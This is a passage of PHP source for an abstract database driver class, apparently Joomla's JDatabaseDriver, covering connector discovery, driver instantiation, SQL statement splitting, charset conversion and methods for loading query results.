/**
* @var integer The depth of the current transaction.
* @since 3.1.4
*/
protected $transactionDepth = 0;
/**
* @var callable[] List of callables to call just before disconnecting
database
* @since CMS 3.1.2
*/
protected $disconnectHandlers = array();
/**
* Get a list of available database connectors. The list will only be
populated with connectors that both
* the class exists and the static test method returns true. This gives
us the ability to have a multitude
* of connector classes that are self-aware as to whether or not they are
able to be used on a given system.
*
* @return array An array of available database connectors.
*
* @since 1.7.0
*/
public static function getConnectors()
{
$connectors = array();
// Get an iterator and loop trough the driver classes.
$iterator = new DirectoryIterator(__DIR__ . '/driver');
/* @type $file DirectoryIterator */
foreach ($iterator as $file)
{
$fileName = $file->getFilename();
// Only load for php files.
if (!$file->isFile() || $file->getExtension() != 'php')
{
continue;
}
// Derive the class name from the type.
$class = str_ireplace('.php', '',
'JDatabaseDriver' . ucfirst(trim($fileName)));
// If the class doesn't exist we have nothing left to do but look
at the next type. We did our best.
if (!class_exists($class))
{
continue;
}
// Sweet! Our class exists, so now we just need to know if it passes
its test method.
if ($class::isSupported())
{
// Connector names should not have file extensions.
$connectors[] = str_ireplace('.php', '',
$fileName);
}
}
return $connectors;
}
/**
* Method to return a JDatabaseDriver instance based on the given options.
There are three global options and then
* the rest are specific to the database driver. The 'driver'
option defines which JDatabaseDriver class is
* used for the connection -- the default is 'mysqli'. The
'database' option determines which database is to
* be used for the connection. The 'select' option determines
whether the connector should automatically select
* the chosen database.
*
* Instances are unique to the given options and new objects are only
created when a unique options array is
* passed into the method. This ensures that we don't end up with
unnecessary database connection resources.
*
* @param array $options Parameters to be passed to the database
driver.
*
* @return JDatabaseDriver A database object.
*
* @since 1.7.0
* @throws RuntimeException
*/
public static function getInstance($options = array())
{
// Sanitize the database connector options.
$options['driver'] = (isset($options['driver'])) ?
preg_replace('/[^A-Z0-9_\.-]/i', '',
$options['driver']) : 'mysqli';
$options['database'] = (isset($options['database']))
? $options['database'] : null;
$options['select'] = (isset($options['select'])) ?
$options['select'] : true;
// If the selected driver is `mysql` and we are on PHP 7 or greater,
switch to the `mysqli` driver.
if ($options['driver'] === 'mysql' &&
PHP_MAJOR_VERSION >= 7)
{
// Check if we have support for the other MySQL drivers
$mysqliSupported = JDatabaseDriverMysqli::isSupported();
$pdoMysqlSupported = JDatabaseDriverPdomysql::isSupported();
// If neither is supported, then the user cannot use MySQL; throw an
exception
if (!$mysqliSupported && !$pdoMysqlSupported)
{
throw new JDatabaseExceptionUnsupported(
'The PHP `ext/mysql` extension is removed in PHP 7, cannot use
the `mysql` driver.'
. ' Also, this system does not support MySQLi or PDO MySQL.
Cannot instantiate database driver.'
);
}
// Prefer MySQLi as it is a closer replacement for the removed MySQL
driver, otherwise use the PDO driver
if ($mysqliSupported)
{
JLog::add(
'The PHP `ext/mysql` extension is removed in PHP 7, cannot use
the `mysql` driver. Trying `mysqli` instead.',
JLog::WARNING,
'deprecated'
);
$options['driver'] = 'mysqli';
}
else
{
JLog::add(
'The PHP `ext/mysql` extension is removed in PHP 7, cannot use
the `mysql` driver. Trying `pdomysql` instead.',
JLog::WARNING,
'deprecated'
);
$options['driver'] = 'pdomysql';
}
}
// Get the options signature for the database connector.
$signature = md5(serialize($options));
// If we already have a database connector instance for these options
then just use that.
if (empty(self::$instances[$signature]))
{
// Derive the class name from the driver.
$class = 'JDatabaseDriver' .
ucfirst(strtolower($options['driver']));
// If the class still doesn't exist we have nothing left to do but
throw an exception. We did our best.
if (!class_exists($class))
{
throw new JDatabaseExceptionUnsupported(sprintf('Unable to load
Database Driver: %s', $options['driver']));
}
// Create our new JDatabaseDriver connector based on the options given.
try
{
$instance = new $class($options);
}
catch (RuntimeException $e)
{
throw new JDatabaseExceptionConnecting(sprintf('Unable to connect
to the Database: %s', $e->getMessage()), $e->getCode(), $e);
}
// Set the new connector to the global instances based on signature.
self::$instances[$signature] = $instance;
}
return self::$instances[$signature];
}
/**
* Splits a string of multiple queries into an array of individual
queries.
* Single line or line end comments and multi line comments are stripped
off.
*
* @param string $sql Input SQL string with which to split into
individual queries.
*
* @return array The queries from the input string separated into an
array.
*
* @since 1.7.0
*/
public static function splitSql($sql)
{
$start = 0;
$open = false;
$comment = false;
$endString = '';
$end = strlen($sql);
$queries = array();
$query = '';
for ($i = 0; $i < $end; $i++)
{
$current = substr($sql, $i, 1);
$current2 = substr($sql, $i, 2);
$current3 = substr($sql, $i, 3);
$lenEndString = strlen($endString);
$testEnd = substr($sql, $i, $lenEndString);
if ($current == '"' || $current == "'" ||
$current2 == '--'
|| ($current2 == '/*' && $current3 != '/*!'
&& $current3 != '/*+')
|| ($current == '#' && $current3 != '#__')
|| ($comment && $testEnd == $endString))
{
// Check if quoted with previous backslash
$n = 2;
while (substr($sql, $i - $n + 1, 1) == '\\' && $n
< $i)
{
$n++;
}
// Not quoted
if ($n % 2 == 0)
{
if ($open)
{
if ($testEnd == $endString)
{
if ($comment)
{
$comment = false;
if ($lenEndString > 1)
{
$i += ($lenEndString - 1);
$current = substr($sql, $i, 1);
}
$start = $i + 1;
}
$open = false;
$endString = '';
}
}
else
{
$open = true;
if ($current2 == '--')
{
$endString = "\n";
$comment = true;
}
elseif ($current2 == '/*')
{
$endString = '*/';
$comment = true;
}
elseif ($current == '#')
{
$endString = "\n";
$comment = true;
}
else
{
$endString = $current;
}
if ($comment && $start < $i)
{
$query = $query . substr($sql, $start, ($i - $start));
}
}
}
}
if ($comment)
{
$start = $i + 1;
}
if (($current == ';' && !$open) || $i == $end - 1)
{
if ($start <= $i)
{
$query = $query . substr($sql, $start, ($i - $start + 1));
}
$query = trim($query);
if ($query)
{
if (($i == $end - 1) && ($current != ';'))
{
$query = $query . ';';
}
$queries[] = $query;
}
$query = '';
$start = $i + 1;
}
}
return $queries;
}
/**
* Magic method to provide method alias support for quote() and
quoteName().
*
* @param string $method The called method.
* @param array $args The array of arguments passed to the method.
*
* @return mixed The aliased method's return value or null.
*
* @since 1.7.0
*/
public function __call($method, $args)
{
if (empty($args))
{
return;
}
switch ($method)
{
case 'q':
return $this->quote($args[0], isset($args[1]) ? $args[1] : true);
break;
case 'qn':
return $this->quoteName($args[0], isset($args[1]) ? $args[1] :
null);
break;
}
}
/**
* Constructor.
*
* @param array $options List of options used to configure the
connection
*
* @since 1.7.0
*/
public function __construct($options)
{
// Initialise object variables.
$this->_database = (isset($options['database'])) ?
$options['database'] : '';
$this->tablePrefix = (isset($options['prefix'])) ?
$options['prefix'] : 'jos_';
$this->count = 0;
$this->errorNum = 0;
$this->log = array();
// Set class options.
$this->options = $options;
}
/**
* Alter database's character set, obtaining query string from
protected member.
*
* @param string $dbName The database name that will be altered
*
* @return string The query that alter the database query string
*
* @since 3.0.1
* @throws RuntimeException
*/
public function alterDbCharacterSet($dbName)
{
if (is_null($dbName))
{
throw new RuntimeException('Database name must not be null.');
}
$this->setQuery($this->getAlterDbCharacterSet($dbName));
return $this->execute();
}
/**
* Alter a table's character set, obtaining an array of queries to do
so from a protected method. The conversion is
* wrapped in a transaction, if supported by the database driver.
Otherwise the table will be locked before the
* conversion. This prevents data corruption.
*
* @param string $tableName The name of the table to alter
* @param boolean $rethrow True to rethrow database exceptions.
Default: false (exceptions are suppressed)
*
* @return boolean True if successful
*
* @since CMS 3.5.0
* @throws RuntimeException If the table name is empty
* @throws Exception Relayed from the database layer if a database error
occurs and $rethrow == true
*/
public function alterTableCharacterSet($tableName, $rethrow = false)
{
if (is_null($tableName))
{
throw new RuntimeException('Table name must not be null.');
}
$queries = $this->getAlterTableCharacterSet($tableName);
if (empty($queries))
{
return false;
}
$hasTransaction = true;
try
{
$this->transactionStart();
}
catch (Exception $e)
{
$hasTransaction = false;
$this->lockTable($tableName);
}
foreach ($queries as $query)
{
try
{
$this->setQuery($query)->execute();
}
catch (Exception $e)
{
if ($hasTransaction)
{
$this->transactionRollback();
}
else
{
$this->unlockTables();
}
if ($rethrow)
{
throw $e;
}
return false;
}
}
if ($hasTransaction)
{
try
{
$this->transactionCommit();
}
catch (Exception $e)
{
$this->transactionRollback();
if ($rethrow)
{
throw $e;
}
return false;
}
}
else
{
$this->unlockTables();
}
return true;
}
/**
* Connects to the database if needed.
*
* @return void Returns void if the database connected successfully.
*
* @since 3.0.0
* @throws RuntimeException
*/
abstract public function connect();
/**
* Determines if the connection to the server is active.
*
* @return boolean True if connected to the database engine.
*
* @since 1.7.0
*/
abstract public function connected();
/**
* Create a new database using information from $options object, obtaining
query string
* from protected member.
*
* @param stdClass $options Object used to pass user and database name
to database driver.
* This object must have "db_name" and
"db_user" set.
* @param boolean $utf True if the database supports the UTF-8
character set.
*
* @return string The query that creates database
*
* @since 3.0.1
* @throws RuntimeException
*/
public function createDatabase($options, $utf = true)
{
if (is_null($options))
{
throw new RuntimeException('$options object must not be
null.');
}
elseif (empty($options->db_name))
{
throw new RuntimeException('$options object must have db_name
set.');
}
elseif (empty($options->db_user))
{
throw new RuntimeException('$options object must have db_user
set.');
}
$this->setQuery($this->getCreateDatabaseQuery($options, $utf));
return $this->execute();
}
/**
* Destructor.
*
* @since 3.8.0
*/
public function __destruct()
{
$this->disconnect();
}
/**
* Disconnects the database.
*
* @return void
*
* @since 3.0.0
*/
abstract public function disconnect();
/**
* Adds a function callable just before disconnecting the database.
Parameter of the callable is $this JDatabaseDriver
*
* @param callable $callable Function to call in disconnect() method
just before disconnecting from database
*
* @return void
*
* @since CMS 3.1.2
*/
public function addDisconnectHandler($callable)
{
$this->disconnectHandlers[] = $callable;
}
/**
* Drops a table from the database.
*
* @param string $table The name of the database table to drop.
* @param boolean $ifExists Optionally specify that the table must
exist before it is dropped.
*
* @return JDatabaseDriver Returns this object to support chaining.
*
* @since 2.5.0
* @throws RuntimeException
*/
abstract public function dropTable($table, $ifExists = true);
/**
* Escapes a string for usage in an SQL statement.
*
* @param string $text The string to be escaped.
* @param boolean $extra Optional parameter to provide extra escaping.
*
* @return string The escaped string.
*
* @since 1.7.0
*/
abstract public function escape($text, $extra = false);
/**
* Method to fetch a row from the result set cursor as an array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 1.7.0
*/
abstract protected function fetchArray($cursor = null);
/**
* Method to fetch a row from the result set cursor as an associative
array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 1.7.0
*/
abstract protected function fetchAssoc($cursor = null);
/**
* Method to fetch a row from the result set cursor as an object.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
* @param string $class The class name to use for the returned row
object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 1.7.0
*/
abstract protected function fetchObject($cursor = null, $class =
'stdClass');
/**
* Method to free up the memory used for the result set.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return void
*
* @since 1.7.0
*/
abstract protected function freeResult($cursor = null);
/**
* Get the number of affected rows for the previous executed SQL
statement.
*
* @return integer The number of affected rows.
*
* @since 1.7.0
*/
abstract public function getAffectedRows();
/**
* Return the query string to alter the database character set.
*
* @param string $dbName The database name
*
* @return string The query that alter the database query string
*
* @since 3.0.1
*/
public function getAlterDbCharacterSet($dbName)
{
$charset = $this->utf8mb4 ? 'utf8mb4' : 'utf8';
return 'ALTER DATABASE ' . $this->quoteName($dbName) .
' CHARACTER SET `' . $charset . '`';
}
/**
* Get the query strings to alter the character set and collation of a
table.
*
* @param string $tableName The name of the table
*
* @return string[] The queries required to alter the table's
character set and collation
*
* @since CMS 3.5.0
*/
public function getAlterTableCharacterSet($tableName)
{
$charset = $this->utf8mb4 ? 'utf8mb4' : 'utf8';
$collation = $charset . '_unicode_ci';
$quotedTableName = $this->quoteName($tableName);
$queries = array();
$queries[] = "ALTER TABLE $quotedTableName CONVERT TO CHARACTER SET
$charset COLLATE $collation";
/**
* We also need to convert each text column, modifying their character
set and collation. This allows us to
* change, for example, a utf8_bin collated column to a utf8mb4_bin
collated column.
*/
$sql = "SHOW FULL COLUMNS FROM $quotedTableName";
$this->setQuery($sql);
$columns = $this->loadAssocList();
$columnMods = array();
if (is_array($columns))
{
foreach ($columns as $column)
{
// Make sure we are redefining only columns which do support a
collation
$col = (object) $column;
if (empty($col->Collation))
{
continue;
}
// Default new collation: utf8_unicode_ci or utf8mb4_unicode_ci
$newCollation = $charset . '_unicode_ci';
$collationParts = explode('_', $col->Collation);
/**
* If the collation is in the form charset_collationType_ci or
charset_collationType we have to change
* the charset but leave the collationType intact (e.g. utf8_bin must
become utf8mb4_bin, NOT
* utf8mb4_general_ci).
*/
if (count($collationParts) >= 2)
{
$ci = array_pop($collationParts);
$collationType = array_pop($collationParts);
$newCollation = $charset . '_' . $collationType .
'_' . $ci;
/**
* When the last part of the old collation is not _ci we have a
charset_collationType format,
* something like utf8_bin. Therefore the new collation only has *two*
parts.
*/
if ($ci != 'ci')
{
$newCollation = $charset . '_' . $ci;
}
}
// If the old and new collation is the same we don't have to
change the collation type
if (strtolower($newCollation) == strtolower($col->Collation))
{
continue;
}
$null = $col->Null == 'YES' ? 'NULL' : 'NOT
NULL';
$default = is_null($col->Default) ? '' : "DEFAULT
'" . $this->q($col->Default) . "'";
$columnMods[] = "MODIFY COLUMN `{$col->Field}` {$col->Type}
CHARACTER SET $charset COLLATE $newCollation $null $default";
}
}
if (count($columnMods))
{
$queries[] = "ALTER TABLE $quotedTableName " .
implode(',', $columnMods) .
" CHARACTER SET $charset COLLATE $collation";
}
return $queries;
}
/**
* Automatically downgrade a CREATE TABLE or ALTER TABLE query from
utf8mb4 (UTF-8 Multibyte) to plain utf8. Used
* when the server doesn't support UTF-8 Multibyte.
*
* @param string $query The query to convert
*
* @return string The converted query
*/
public function convertUtf8mb4QueryToUtf8($query)
{
if ($this->hasUTF8mb4Support())
{
return $query;
}
// If it's not an ALTER TABLE or CREATE TABLE command there's
nothing to convert
if (!preg_match('/^(ALTER|CREATE)\s+TABLE\s+/i', $query))
{
return $query;
}
// Don't do preg replacement if string does not exist
if (stripos($query, 'utf8mb4') === false)
{
return $query;
}
// Replace utf8mb4 with utf8 if not within single or double quotes or
name quotes
return
preg_replace('/[`"\'][^`"\']*[`"\'](*SKIP)(*FAIL)|utf8mb4/i',
'utf8', $query);
}
/**
* Return the query string to create new Database.
* Each database driver, other than MySQL, need to override this member to
return correct string.
*
* @param stdClass $options Object used to pass user and database name
to database driver.
* This object must have "db_name" and
"db_user" set.
* @param boolean $utf True if the database supports the UTF-8
character set.
*
* @return string The query that creates database
*
* @since 3.0.1
*/
protected function getCreateDatabaseQuery($options, $utf)
{
if ($utf)
{
$charset = $this->utf8mb4 ? 'utf8mb4' : 'utf8';
$collation = $charset . '_unicode_ci';
return 'CREATE DATABASE ' .
$this->quoteName($options->db_name) . ' CHARACTER SET `' .
$charset . '` COLLATE `' . $collation . '`';
}
return 'CREATE DATABASE ' .
$this->quoteName($options->db_name);
}
/**
* Method to get the database collation in use by sampling a text field of
a table in the database.
*
* @return mixed The collation in use by the database or boolean false
if not supported.
*
* @since 1.7.0
*/
abstract public function getCollation();
/**
* Method to get the database connection collation, as reported by the
driver. If the connector doesn't support
* reporting this value please return an empty string.
*
* @return string
*/
public function getConnectionCollation()
{
return '';
}
/**
* Method that provides access to the underlying database connection.
Useful for when you need to call a
* proprietary method such as postgresql's lo_* methods.
*
* @return resource The underlying database connection resource.
*
* @since 1.7.0
*/
public function getConnection()
{
return $this->connection;
}
/**
* Get the total number of SQL statements executed by the database driver.
*
* @return integer
*
* @since 1.7.0
*/
public function getCount()
{
return $this->count;
}
/**
* Gets the name of the database used by this connection.
*
* @return string
*
* @since 2.5.0
*/
protected function getDatabase()
{
return $this->_database;
}
/**
* Returns a PHP date() function compliant date format for the database
driver.
*
* @return string The format string.
*
* @since 1.7.0
*/
public function getDateFormat()
{
return 'Y-m-d H:i:s';
}
/**
* Get the database driver SQL statement log.
*
* @return array SQL statements executed by the database driver.
*
* @since 1.7.0
*/
public function getLog()
{
return $this->log;
}
/**
* Get the database driver SQL statement log.
*
* @return array SQL statements executed by the database driver.
*
* @since CMS 3.1.2
*/
public function getTimings()
{
return $this->timings;
}
/**
* Get the database driver SQL statement log.
*
* @return array SQL statements executed by the database driver.
*
* @since CMS 3.1.2
*/
public function getCallStacks()
{
return $this->callStacks;
}
/**
* Get the minimum supported database version.
*
* @return string The minimum version number for the database driver.
*
* @since 3.0.0
*/
public function getMinimum()
{
return static::$dbMinimum;
}
/**
* Get the null or zero representation of a timestamp for the database
driver.
*
* @return string Null or zero representation of a timestamp.
*
* @since 1.7.0
*/
public function getNullDate()
{
return $this->nullDate;
}
/**
* Get the number of returned rows for the previous executed SQL
statement.
*
* @param resource $cursor An optional database cursor resource to
extract the row count from.
*
* @return integer The number of returned rows.
*
* @since 1.7.0
*/
abstract public function getNumRows($cursor = null);
/**
* Get the common table prefix for the database driver.
*
* @return string The common database table prefix.
*
* @since 1.7.0
*/
public function getPrefix()
{
return $this->tablePrefix;
}
/**
* Gets an exporter class object.
*
* @return JDatabaseExporter An exporter object.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getExporter()
{
// Derive the class name from the driver.
$class = 'JDatabaseExporter' . ucfirst($this->name);
// Make sure we have an exporter class for this driver.
if (!class_exists($class))
{
// If it doesn't exist we are at an impasse so throw an exception.
throw new JDatabaseExceptionUnsupported('Database Exporter not
found.');
}
$o = new $class;
$o->setDbo($this);
return $o;
}
/**
* Gets an importer class object.
*
* @return JDatabaseImporter An importer object.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getImporter()
{
// Derive the class name from the driver.
$class = 'JDatabaseImporter' . ucfirst($this->name);
// Make sure we have an importer class for this driver.
if (!class_exists($class))
{
// If it doesn't exist we are at an impasse so throw an exception.
throw new JDatabaseExceptionUnsupported('Database Importer not
found');
}
$o = new $class;
$o->setDbo($this);
return $o;
}
/**
* Get the name of the database driver. If $this->name is not set it
will try guessing the driver name from the
* class name.
*
* @return string
*
* @since CMS 3.5.0
*/
public function getName()
{
if (empty($this->name))
{
$className = get_class($this);
$className = str_replace('JDatabaseDriver', '',
$className);
$this->name = strtolower($className);
}
return $this->name;
}
/**
* Get the server family type, e.g. mysql, postgresql, oracle, sqlite,
mssql. If $this->serverType is not set it
* will attempt guessing the server family type from the driver name. If
this is not possible the driver name will
* be returned instead.
*
* @return string
*
* @since CMS 3.5.0
*/
public function getServerType()
{
if (empty($this->serverType))
{
$name = $this->getName();
if (stristr($name, 'mysql') !== false)
{
$this->serverType = 'mysql';
}
elseif (stristr($name, 'postgre') !== false)
{
$this->serverType = 'postgresql';
}
elseif (stristr($name, 'pgsql') !== false)
{
$this->serverType = 'postgresql';
}
elseif (stristr($name, 'oracle') !== false)
{
$this->serverType = 'oracle';
}
elseif (stristr($name, 'sqlite') !== false)
{
$this->serverType = 'sqlite';
}
elseif (stristr($name, 'sqlsrv') !== false)
{
$this->serverType = 'mssql';
}
elseif (stristr($name, 'mssql') !== false)
{
$this->serverType = 'mssql';
}
else
{
$this->serverType = $name;
}
}
return $this->serverType;
}
/**
* Get the current query object or a new JDatabaseQuery object.
*
* @param boolean $new False to return the current query object, True
to return a new JDatabaseQuery object.
*
* @return JDatabaseQuery The current query object or a new object
extending the JDatabaseQuery class.
*
* @since 1.7.0
* @throws RuntimeException
*/
public function getQuery($new = false)
{
if ($new)
{
// Derive the class name from the driver.
$class = 'JDatabaseQuery' . ucfirst($this->name);
// Make sure we have a query class for this driver.
if (!class_exists($class))
{
// If it doesn't exist we are at an impasse so throw an exception.
throw new JDatabaseExceptionUnsupported('Database Query Class not
found.');
}
return new $class($this);
}
else
{
return $this->sql;
}
}
/**
* Get a new iterator on the current query.
*
* @param string $column An option column to use as the iterator key.
* @param string $class The class of object that is returned.
*
* @return JDatabaseIterator A new database iterator.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getIterator($column = null, $class = 'stdClass')
{
// Derive the class name from the driver.
$iteratorClass = 'JDatabaseIterator' . ucfirst($this->name);
// Make sure we have an iterator class for this driver.
if (!class_exists($iteratorClass))
{
// If it doesn't exist we are at an impasse so throw an exception.
throw new JDatabaseExceptionUnsupported(sprintf('class *%s* is not
defined', $iteratorClass));
}
// Return a new iterator
return new $iteratorClass($this->execute(), $column, $class);
}
/**
* Retrieves field information about the given tables.
*
* @param string $table The name of the database table.
* @param boolean $typeOnly True (default) to only return field types.
*
* @return array An array of fields by table.
*
* @since 1.7.0
* @throws RuntimeException
*/
abstract public function getTableColumns($table, $typeOnly = true);
/**
* Shows the table CREATE statement that creates the given tables.
*
* @param mixed $tables A table name or a list of table names.
*
* @return array A list of the create SQL for the tables.
*
* @since 1.7.0
* @throws RuntimeException
*/
abstract public function getTableCreate($tables);
/**
* Retrieves keys information about the given table.
*
* @param string $table The name of the table.
*
* @return array An array of keys for the table.
*
* @since 1.7.0
* @throws RuntimeException
*/
abstract public function getTableKeys($table);
/**
* Method to get an array of all tables in the database.
*
* @return array An array of all the tables in the database.
*
* @since 1.7.0
* @throws RuntimeException
*/
abstract public function getTableList();
/**
* Determine whether or not the database engine supports UTF-8 character
encoding.
*
* @return boolean True if the database engine supports UTF-8 character
encoding.
*
* @since 1.7.0
* @deprecated 4.0 - Use hasUTFSupport() instead
*/
public function getUTFSupport()
{
JLog::add('JDatabaseDriver::getUTFSupport() is deprecated. Use
JDatabaseDriver::hasUTFSupport() instead.', JLog::WARNING,
'deprecated');
return $this->hasUTFSupport();
}
/**
* Determine whether or not the database engine supports UTF-8 character
encoding.
*
* @return boolean True if the database engine supports UTF-8 character
encoding.
*
* @since 3.0.0
*/
public function hasUTFSupport()
{
return $this->utf;
}
/**
* Determine whether the database engine support the UTF-8 Multibyte
(utf8mb4) character encoding. This applies to
* MySQL databases.
*
* @return boolean True if the database engine supports UTF-8 Multibyte.
*
* @since CMS 3.5.0
*/
public function hasUTF8mb4Support()
{
return $this->utf8mb4;
}
/**
* Get the version of the database connector
*
* @return string The database connector version.
*
* @since 1.7.0
*/
abstract public function getVersion();
/**
* Method to get the auto-incremented value from the last INSERT
statement.
*
* @return mixed The value of the auto-increment field from the last
inserted row.
*
* @since 1.7.0
*/
abstract public function insertid();
/**
* Inserts a row into a table based on an object's properties.
*
* @param string $table The name of the database table to insert
into.
* @param object &$object A reference to an object whose public
properties match the table fields.
* @param string $key The name of the primary key. If provided the
object property is updated.
*
* @return boolean True on success.
*
* @since 1.7.0
* @throws RuntimeException
*/
public function insertObject($table, &$object, $key = null)
{
$fields = array();
$values = array();
// Iterate over the object variables to build the query fields and
values.
foreach (get_object_vars($object) as $k => $v)
{
// Only process non-null scalars.
if (is_array($v) or is_object($v) or $v === null)
{
continue;
}
// Ignore any internal fields.
if ($k[0] == '_')
{
continue;
}
// Prepare and sanitize the fields and values for the database query.
$fields[] = $this->quoteName($k);
$values[] = $this->quote($v);
}
// Create the base insert statement.
$query = $this->getQuery(true)
->insert($this->quoteName($table))
->columns($fields)
->values(implode(',', $values));
// Set the query and execute the insert.
$this->setQuery($query);
if (!$this->execute())
{
return false;
}
// Update the primary key if it exists.
$id = $this->insertid();
if ($key && $id && is_string($key))
{
$object->$key = $id;
}
return true;
}
/**
* Method to check whether the installed database version is supported by
the database driver
*
* @return boolean True if the database version is supported
*
* @since 3.0.0
*/
public function isMinimumVersion()
{
return version_compare($this->getVersion(), static::$dbMinimum) >=
0;
}
/**
* Method to get the first row of the result set from the database query
as an associative array
* of ['field_name' => 'row_value'].
*
* @return mixed The return value or null if the query failed.
*
* @since 1.7.0
* @throws RuntimeException
*/
public function loadAssoc()
{
$this->connect();
$ret = null;
// Execute the query and get the result set cursor.
if (!($cursor = $this->execute()))
{
return;
}
// Get the first row from the result set as an associative array.
if ($array = $this->fetchAssoc($cursor))
{
$ret = $array;
}
// Free up system resources and return.
$this->freeResult($cursor);
return $ret;
}
/**
* Method to get an array of the result set rows from the database query
where each row is an associative array
* of ['field_name' => 'row_value']. The array of
rows can optionally be keyed by a field name, but defaults to
* a sequential numeric array.
*
* NOTE: Choosing to key the result array by a non-unique field name can
result in unwanted
* behavior and should be avoided.
*
* @param string $key The name of a field on which to key the
result array.
* @param string $column An optional column name. Instead of the whole
row, only this column value will be in
* the result array.
*
* @return mixed The return value or null if the query failed.
*
* @since 1.7.0
* @throws RuntimeException
*/
public function loadAssocList($key = null, $column = null)
{
$this->connect();
$array = array();
// Execute the query and get the result set cursor.
if (!($cursor = $this->execute()))
{
return;
}
// Get all of the rows from the result set.
while ($row = $this->fetchAssoc($cursor))
{
$value = ($column) ? (isset($row[$column]) ? $row[$column] : $row) :
$row;
if ($key)
{
$array[$row[$key]] = $value;
}
else
{
$array[] = $value;
}
}
// Free up system resources and return.
$this->freeResult($cursor);
return $array;
}
/**
* Method to get an array of values from the
<var>$offset</var> field in each row of the result set from
* the database query.
*
* @param integer $offset The row offset to use to build the result
array.
*
* @return mixed The return value or null if the query failed.
*
* @since 1.7.0
* @throws RuntimeException
*/
public function loadColumn($offset = 0)
{
$this->connect();
$array = array();
// Execute the query and get the result set cursor.
if (!($cursor = $this->execute()))
{
return;
}
// Get all of the rows from the result set as arrays.
while ($row = $this->fetchArray($cursor))
{
$array[] = $row[$offset];
}
// Free up system resources and return.
$this->freeResult($cursor);
return $array;
}
/**
* Method to get the next row in the result set from the database query as
an object.
*
* @param string $class The class name to use for the returned row
object.
*
* @return mixed The result of the query as an array, false if there
are no more rows.
*
* @since 1.7.0
* @throws RuntimeException
* @deprecated 4.0 - Use getIterator() instead
*/
public function loadNextObject($class = 'stdClass')
{
JLog::add(__METHOD__ . '() is deprecated. Use
JDatabaseDriver::getIterator() instead.', JLog::WARNING,
'deprecated');
$this->connect();
static $cursor = null;
// Execute the query and get the result set cursor.
if (is_null($cursor))
{
if (!($cursor = $this->execute()))
{
return $this->errorNum ? null : false;
}
}
// Get the next row from the result set as an object of type $class.
if ($row = $this->fetchObject($cursor, $class))
{
return $row;
}
// Free up system resources and return.
$this->freeResult($cursor);
$cursor = null;
return false;
}
/**
* Method to get the next row in the result set from the database query as
an array.
*
* @return mixed The result of the query as an array, false if there are
no more rows.
*
* @since 1.7.0
* @throws RuntimeException
* @deprecated 4.0 (CMS) Use JDatabaseDriver::getIterator() instead
*/
public function loadNextRow()
{
JLog::add(__METHOD__ . '() is deprecated. Use
JDatabaseDriver::getIterator() instead.', JLog::WARNING,
'deprecated');
$this->connect();
static $cursor = null;
// Execute the query and get the result set cursor.
if (is_null($cursor))
{
if (!($cursor = $this->execute()))
{
return $this->errorNum ? null : false;
}
}
// Get the next row from the result set as an object of type $class.
if ($row = $this->fetchArray($cursor))
{
return $row;
}
// Free up system resources and return.
$this->freeResult($cursor);
$cursor = null;
return false;
}
/**
* Method to get the first row of the result set from the database query
as an object.
*
* @param string $class The class name to use for the returned row
object.
*
* @return mixed The return value or null if the query failed.
*
* @since 1.7.0
* @throws RuntimeException
*/
public function loadObject($class = 'stdClass')
{
$this->connect();
$ret = null;
// Execute the query and get the result set cursor.
if (!($cursor = $this->execute()))
{
return;
}
// Get the first row from the result set as an object of type $class.
if ($object = $this->fetchObject($cursor, $class))
{
$ret = $object;
}
// Free up system resources and return.
$this->freeResult($cursor);
return $ret;
}
/**
* Method to get an array of the result set rows from the database query
where each row is an object. The array
* of objects can optionally be keyed by a field name, but defaults to a
sequential numeric array.
*
* NOTE: Choosing to key the result array by a non-unique field name can
result in unwanted
* behavior and should be avoided.
*
* @param string $key The name of a field on which to key the result
array.
* @param string $class The class name to use for the returned row
objects.
*
* @return mixed The return value or null if the query failed.
*
* @since 1.7.0
* @throws RuntimeException
*/
public function loadObjectList($key = '', $class =
'stdClass')
{
$this->connect();
$array = array();
// Execute the query and get the result set cursor.
if (!($cursor = $this->execute()))
{
return;
}
// Get all of the rows from the result set as objects of type $class.
while ($row = $this->fetchObject($cursor, $class))
{
if ($key)
{
$array[$row->$key] = $row;
}
else
{
$array[] = $row;
}
}
// Free up system resources and return.
$this->freeResult($cursor);
return $array;
}
/**
* Method to get the first field of the first row of the result set from
the database query.
*
* @return mixed The return value or null if the query failed.
*
* @since 1.7.0
* @throws RuntimeException
*/
public function loadResult()
{
$this->connect();
$ret = null;
// Execute the query and get the result set cursor.
if (!($cursor = $this->execute()))
{
return;
}
// Get the first row from the result set as an array.
if ($row = $this->fetchArray($cursor))
{
$ret = $row[0];
}
// Free up system resources and return.
$this->freeResult($cursor);
return $ret;
}
/**
* Method to get the first row of the result set from the database query
as an array. Columns are indexed
* numerically so the first column in the result set would be accessible
via <var>$row[0]</var>, etc.
*
* @return mixed The return value or null if the query failed.
*
* @since 1.7.0
* @throws RuntimeException
*/
public function loadRow()
{
$this->connect();
$ret = null;
// Execute the query and get the result set cursor.
if (!($cursor = $this->execute()))
{
return;
}
// Get the first row from the result set as an array.
if ($row = $this->fetchArray($cursor))
{
$ret = $row;
}
// Free up system resources and return.
$this->freeResult($cursor);
return $ret;
}
/**
* Method to get an array of the result set rows from the database query
where each row is an array. The array
* of objects can optionally be keyed by a field offset, but defaults to a
sequential numeric array.
*
* NOTE: Choosing to key the result array by a non-unique field can result
in unwanted
* behavior and should be avoided.
*
* @param integer $index The index of a field on which to key the
result array.
*
* @return mixed The return value or null if the query failed.
*
* @since 1.7.0
* @throws RuntimeException
*/
public function loadRowList($index = null)
{
$this->connect();
$array = array();
// Execute the query and get the result set cursor.
if (!($cursor = $this->execute()))
{
return;
}
// Get all of the rows from the result set as arrays.
while ($row = $this->fetchArray($cursor))
{
if ($index !== null)
{
$array[$row[$index]] = $row;
}
else
{
$array[] = $row;
}
}
// Free up system resources and return.
$this->freeResult($cursor);
return $array;
}
/**
* Locks a table in the database.
*
* @param string $tableName The name of the table to unlock.
*
